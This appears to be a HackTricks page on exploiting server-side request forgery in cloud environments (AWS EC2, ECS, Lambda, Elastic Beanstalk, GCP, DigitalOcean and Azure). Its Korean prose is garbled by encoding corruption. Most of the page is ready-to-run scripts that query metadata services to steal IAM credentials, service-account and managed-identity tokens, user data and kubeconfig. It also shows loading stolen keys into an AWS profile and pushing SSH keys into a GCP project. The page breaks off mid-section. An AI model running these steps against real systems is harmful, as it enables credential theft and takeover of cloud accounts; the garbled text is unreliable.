Cloud SSRF
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
AWS
AWS EC2 νκ²½μμ SSRF μ μ©νκΈ°
λ©νλ°μ΄ν° μλν¬μΈνΈλ λͺ¨λ EC2 λ¨Έμ λ΄λΆμμ μ κ·Όν μ μμΌλ©°, μ΄μ λν ν₯λ―Έλ‘μ΄ μ 보λ₯Ό μ 곡ν©λλ€. URLμμ μ κ·Όν μ μμ΅λλ€: http://169.254.169.254 (λ©νλ°μ΄ν°μ λν μ 보λ μ¬κΈ°).
λ©νλ°μ΄ν° μλν¬μΈνΈμλ 2κ°μ§ λ²μ μ΄ μμ΅λλ€. 첫 λ²μ§Έ λ²μ μ GET μμ²μ ν΅ν΄ μλν¬μΈνΈμ μ κ·Όν μ μκ² ν΄μ€λλ€ (λ°λΌμ μ΄λ€ SSRFλ μ΄λ₯Ό μ μ©ν μ μμ΅λλ€). λ²μ 2μΈ IMDSv2μμλ ν ν°μ μμ²νκΈ° μν΄ PUT μμ²μ 보λ΄κ³ HTTP ν€λλ₯Ό μ¬μ©ν΄μΌ νλ©°, κ·Έ νμ ν΄λΉ ν ν°μ μ¬μ©νμ¬ λ€λ₯Έ HTTP ν€λλ‘ λ©νλ°μ΄ν°μ μ κ·Όν΄μΌ ν©λλ€ (λ°λΌμ SSRFλ‘ μ μ©νκΈ° λ 볡μ‘ν©λλ€).
Caution
EC2 μΈμ€ν΄μ€κ° IMDSv2λ₯Ό κ°μ νλ κ²½μ°, λ¬Έμμ λ°λ₯΄λ©΄, PUT μμ²μ μλ΅μ hop limitμ΄ 1λ‘ μ€μ λμ΄ μμ΄ EC2 μΈμ€ν΄μ€ λ΄λΆμ 컨ν μ΄λμμ EC2 λ©νλ°μ΄ν°μ μ κ·Όν μ μκ² λ©λλ€.
λν, IMDSv2λ
X-Forwarded-Forν€λλ₯Ό ν¬ν¨ν ν ν° μμ²μ μ°¨λ¨ν©λλ€. μ΄λ μλͺ» ꡬμ±λ 리λ²μ€ νλ‘μκ° μ΄λ₯Ό μ κ·Όνμ§ λͺ»νλλ‘ λ°©μ§νκΈ° μν¨μ λλ€.
λ©νλ°μ΄ν° μλν¬μΈνΈμ λν μ 보λ λ¬Έμμμ νμΈν μ μμ΅λλ€. λ€μ μ€ν¬λ¦½νΈμμλ μ΄λ‘λΆν° ν₯λ―Έλ‘μ΄ μ 보λ₯Ό μ»μ΅λλ€:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
곡κ°μ μΌλ‘ μ¬μ© κ°λ₯ν IAM μ격 μ¦λͺ λ ΈμΆ μμλ‘ λ€μμ λ°©λ¬Έν μ μμ΅λλ€: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
λν κ³΅κ° EC2 보μ μ격 μ¦λͺ μ νμΈν μ μμ΅λλ€: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
κ·Έλ° λ€μ μ΄ μ격 μ¦λͺ μ μ¬μ©νμ¬ AWS CLIμ ν¨κ» μ¬μ©ν μ μμ΅λλ€. μ΄λ κ² νλ©΄ ν΄λΉ μν μ΄ νμ©λ λͺ¨λ μμ μ μνν μ μμ΅λλ€.
μλ‘μ΄ μ격 μ¦λͺ μ νμ©νλ €λ©΄ λ€μκ³Ό κ°μ΄ μλ‘μ΄ AWS νλ‘νμ μμ±ν΄μΌ ν©λλ€:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
aws_session_tokenμ μ£Όλͺ©νμΈμ. μ΄λ νλ‘νμ΄ μλνλ λ° νμμ μ λλ€.
PACUλ λ°κ²¬λ μ격 μ¦λͺ μ μ¬μ©νμ¬ κΆνμ νμΈνκ³ κΆν μμΉμ μλνλ λ° μ¬μ©ν μ μμ΅λλ€.
AWS ECS (컨ν μ΄λ μλΉμ€) μ격 μ¦λͺ μμμ SSRF
ECSλ μ ν리μΌμ΄μ μ μ€νν μ μλ EC2 μΈμ€ν΄μ€μ λ Όλ¦¬μ κ·Έλ£ΉμΌλ‘, ECSκ° ν΄λ¬μ€ν° κ΄λ¦¬ μΈνλΌλ₯Ό λμ κ΄λ¦¬νκΈ° λλ¬Έμ μ체 ν΄λ¬μ€ν° κ΄λ¦¬ μΈνλΌλ₯Ό νμ₯ν νμκ° μμ΅λλ€. ECSμμ μ€ν μ€μΈ μλΉμ€λ₯Ό μμμν€λ©΄ λ©νλ°μ΄ν° μλν¬μΈνΈκ° λ³κ²½λ©λλ€.
_http://169.254.170.2/v2/credentials/<GUID>_μ μ κ·Όνλ©΄ ECS λ¨Έμ μ μ격 μ¦λͺ
μ μ°Ύμ μ μμ΅λλ€. νμ§λ§ λ¨Όμ **<GUID>**λ₯Ό μ°ΎμμΌ ν©λλ€. <GUID>λ₯Ό μ°ΎμΌλ €λ©΄ λ¨Έμ λ΄μ environ λ³μ AWS_CONTAINER_CREDENTIALS_RELATIVE_URIλ₯Ό μ½μ΄μΌ ν©λλ€.
Path Traversalμ μ΄μ©νμ¬ file:///proc/self/environμ μ½μ μ μμ΅λλ€.
μΈκΈλ http μ£Όμλ AccessKey, SecretKey λ° tokenμ μ 곡ν΄μΌ ν©λλ€.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
μΌλΆ κ²½μ°μλ 컨ν μ΄λμμ EC2 λ©νλ°μ΄ν° μΈμ€ν΄μ€μ μ κ·Όν μ μμ΅λλ€(μμ μΈκΈν IMDSv2 TTL μ ν μ¬νμ νμΈνμΈμ). μ΄λ¬ν μλ리μ€μμλ 컨ν μ΄λμμ 컨ν μ΄λ IAM μν κ³Ό EC2 IAM μν λͺ¨λμ μ κ·Όν μ μμ΅λλ€.
AWS Lambdaμ λν SSRF
μ΄ κ²½μ° μ격 μ¦λͺ
μ env λ³μμ μ μ₯λ©λλ€. λ°λΌμ μ΄λ₯Ό μ κ·Όνλ €λ©΄ **file:///proc/self/environ**κ³Ό κ°μ κ²μ μ κ·Όν΄μΌ ν©λλ€.
ν₯λ―Έλ‘μ΄ env λ³μμ μ΄λ¦μ λ€μκ³Ό κ°μ΅λλ€:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
κ²λ€κ° IAM μ격 μ¦λͺ
μΈμλ Lambda ν¨μλ ν¨μκ° μμλ λ ν¨μμ μ λ¬λλ μ΄λ²€νΈ λ°μ΄ν°λ₯Ό κ°μ§κ³ μμ΅λλ€. μ΄ λ°μ΄ν°λ λ°νμ μΈν°νμ΄μ€λ₯Ό ν΅ν΄ ν¨μμ μ 곡λλ©° λ―Όκ°ν μ 보(μ: stageVariables λ΄λΆ)λ₯Ό ν¬ν¨ν μ μμ΅λλ€. IAM μ격 μ¦λͺ
κ³Ό λ¬λ¦¬, μ΄ λ°μ΄ν°λ νμ€ SSRFλ₯Ό ν΅ν΄ **http://localhost:9001/2018-06-01/runtime/invocation/next**μμ μ κ·Όν μ μμ΅λλ€.
Warning
lambda μ격 μ¦λͺ μ΄ env λ³μ μμ μλ€λ μ μ μ μνμΈμ. λ°λΌμ lambda μ½λμ μ€ν μΆμ μ΄ env λ³μλ₯Ό μΆλ ₯νλ©΄, μ±μμ μ€λ₯λ₯Ό μ λ°νμ¬ μ΄λ₯Ό μ μΆν μ μμ΅λλ€.
AWS Elastic Beanstalkμ λν SSRF URL
APIμμ accountIdμ regionμ κ°μ Έμ΅λλ€.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
κ·Έλ° λ€μ APIμμ AccessKeyId, SecretAccessKey λ° Tokenμ κ°μ Έμ΅λλ€.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
κ·Έλ° λ€μ aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ λͺ
λ Ήμ΄λ‘ μ격 μ¦λͺ
μ μ¬μ©ν©λλ€.
GCP
λ©νλ°μ΄ν° μλν¬μΈνΈμ λν λ¬Έμλ₯Ό μ¬κΈ°μμ μ°Ύμ μ μμ΅λλ€.
Google Cloudμ SSRF URL
HTTP ν€λ **Metadata-Flavor: Google**μ΄ νμνλ©°, λ€μ URLμ ν΅ν΄ λ©νλ°μ΄ν° μλν¬μΈνΈμ μ κ·Όν μ μμ΅λλ€:
μ 보λ₯Ό μΆμΆνκΈ° μν ν₯λ―Έλ‘μ΄ μλν¬μΈνΈ:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Betaλ νμ¬ ν€λλ₯Ό νμλ‘ νμ§ μμ΅λλ€ (Mathias Karlsson @avlidienbrunnμκ² κ°μ¬λ립λλ€)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
μ μΆλ μλΉμ€ κ³μ ν ν°μ μ¬μ©νλ €λ©΄ λ€μκ³Ό κ°μ΄ νλ©΄ λ©λλ€:
# νκ²½ λ³μλ₯Ό ν΅ν΄ export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # μ€μ μ ν΅ν΄ echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
SSH ν€ μΆκ°
ν ν° μΆμΆ
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
ν ν°μ λ²μλ₯Ό νμΈνμΈμ (μ΄μ μΆλ ₯ λλ λ€μμ μ€ννμ¬).
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
μ΄μ SSH ν€λ₯Ό νΈμνμΈμ.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
λ©νλ°μ΄ν° μλν¬μΈνΈλ VMμμμ λμΌνκ² μλνμ§λ§ μΌλΆ μλν¬μΈνΈκ° μμ΅λλ€:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
Warning
AWS μν μ΄λ GCP μλΉμ€ κ³μ κ³Ό κ°μ κ²μ΄ μμΌλ―λ‘ λ©νλ°μ΄ν° λ΄ μ격 μ¦λͺ μ μ°Ύμ μ μμ κ²μ΄λΌκ³ κΈ°λνμ§ λ§μμμ€.
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- λ°λμ
Metadata: trueν€λλ₯Ό ν¬ν¨ν΄μΌ ν©λλ€. X-Forwarded-Forν€λλ₯Ό ν¬ν¨νμ§ μμμΌ ν©λλ€.
Tip
Azure VMμ 1κ°μ μμ€ν κ΄λ¦¬ IDμ μ¬λ¬ κ°μ μ¬μ©μ κ΄λ¦¬ IDλ₯Ό κ°μ§ μ μμ΅λλ€. μ΄λ κΈ°λ³Έμ μΌλ‘ VMμ μ°κ²°λ λͺ¨λ κ΄λ¦¬ IDλ₯Ό κ°μ₯ν μ μλ€λ μλ―Έμ λλ€.
λ©νλ°μ΄ν° μλν¬μΈνΈμ λν μ‘μΈμ€ ν ν°μ μμ²ν λ, κΈ°λ³Έμ μΌλ‘ λ©νλ°μ΄ν° μλΉμ€λ μμ€ν ν λΉ κ΄λ¦¬ IDλ₯Ό μ¬μ©νμ¬ ν ν°μ μμ±ν©λλ€. μμ€ν ν λΉ κ΄λ¦¬ IDκ° μλ κ²½μ°μ ν΄λΉν©λλ€. λ§μ½ νλμ μ¬μ©μ ν λΉ κ΄λ¦¬ IDλ§ μλ€λ©΄, κΈ°λ³Έμ μΌλ‘ μ΄κ²μ΄ μ¬μ©λ©λλ€. κ·Έλ¬λ μμ€ν ν λΉ κ΄λ¦¬ IDκ° μκ³ μ¬λ¬ κ°μ μ¬μ©μ ν λΉ κ΄λ¦¬ IDκ° μλ κ²½μ°, λ©νλ°μ΄ν° μλΉμ€λ μ¬λ¬ κ΄λ¦¬ IDκ° μμμ λνλ΄λ μ€λ₯λ₯Ό λ°ννλ©°, μ΄λ€ κ²μ μ¬μ©ν μ§ μ§μ ν΄μΌ ν©λλ€.
λΆννλ VMμ μ°κ²°λ λͺ¨λ κ΄λ¦¬ IDλ₯Ό λνλ΄λ λ©νλ°μ΄ν° μλν¬μΈνΈλ₯Ό μ°Ύμ μ μμμΌλ―λ‘, Red Team κ΄μ μμ VMμ ν λΉλ λͺ¨λ κ΄λ¦¬ IDλ₯Ό μ°Ύλ κ²μ μ΄λ €μ΄ μμ μ΄ λ μ μμ΅λλ€.
λ°λΌμ μ°κ²°λ λͺ¨λ κ΄λ¦¬ IDλ₯Ό μ°ΎκΈ° μν΄ λ€μμ μνν μ μμ΅λλ€:
- az cliλ‘ μ°κ²°λ ID κ°μ Έμ€κΈ° (Azure ν λνΈμμ 주체λ₯Ό μ΄λ―Έ μμμν¨ κ²½μ°)
az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- λ©νλ°μ΄ν°μμ κΈ°λ³Έ μ°κ²° MIλ₯Ό μ¬μ©νμ¬ μ°κ²°λ ID κ°μ Έμ€κΈ°:
export API_VERSION="2021-12-13" # κΈ°λ³Έ MIμμ ν ν° κ°μ Έμ€κΈ° export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # νμν μΈλΆμ 보 κ°μ Έμ€κΈ° export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # μ°κ²°λ MIs κ°μ Έμ€κΈ° μλ curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- ν λνΈμ μ μλ λͺ¨λ κ΄λ¦¬ IDλ₯Ό κ°μ Έμ€κ³ VMμ μ°κ²°λ κ²μ΄ μλμ§ λΈλ£¨νΈ ν¬μ€λ‘ νμΈνκΈ°:
az identity list
Caution
ν ν° μμ² μ
object_id,client_idλλmsi_res_idμ€ νλμ λ§€κ°λ³μλ₯Ό μ¬μ©νμ¬ μ¬μ©νλ €λ κ΄λ¦¬ IDλ₯Ό μ§μ νμμμ€ (docs). μ§μ νμ§ μμΌλ©΄ κΈ°λ³Έ MIκ° μ¬μ©λ©λλ€.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
http://169.254.169.254/metadata/v1/instanceinfoμλν¬μΈνΈλMetadata: Trueν€λλ₯Ό μꡬνμ§ μμ΅λλ€. μ΄λ Azureμμ μ΄ ν€λλ₯Ό μΆκ°ν μ μλ SSRF μ·¨μ½μ μ μν₯μ 보μ¬μ£Όλ λ° μ μ©ν©λλ€.
Azure μ± λ° ν¨μ μλΉμ€ λ° μλν κ³μ
envμμ IDENTITY_HEADER λ° **IDENTITY_ENDPOINT**μ κ°μ κ°μ Έμ¬ μ μμ΅λλ€. μ΄λ₯Ό μ¬μ©νμ¬ λ©νλ°μ΄ν° μλ²μ ν΅μ ν ν ν°μ μμ§ν μ μμ΅λλ€.
λλΆλΆμ κ²½μ°, λ€μ 리μμ€ μ€ νλμ λν ν ν°μ΄ νμν©λλ€:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
ν ν° μμ² μ
object_id,client_idλλmsi_res_idλ§€κ°λ³μ μ€ νλλ₯Ό μ¬μ©νμ¬ μ¬μ©νλ €λ κ΄λ¦¬ IDλ₯Ό μ§μ νμμμ€ (docs). μ§μ νμ§ μμΌλ©΄ κΈ°λ³Έ MIκ° μ¬μ©λ©λλ€.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
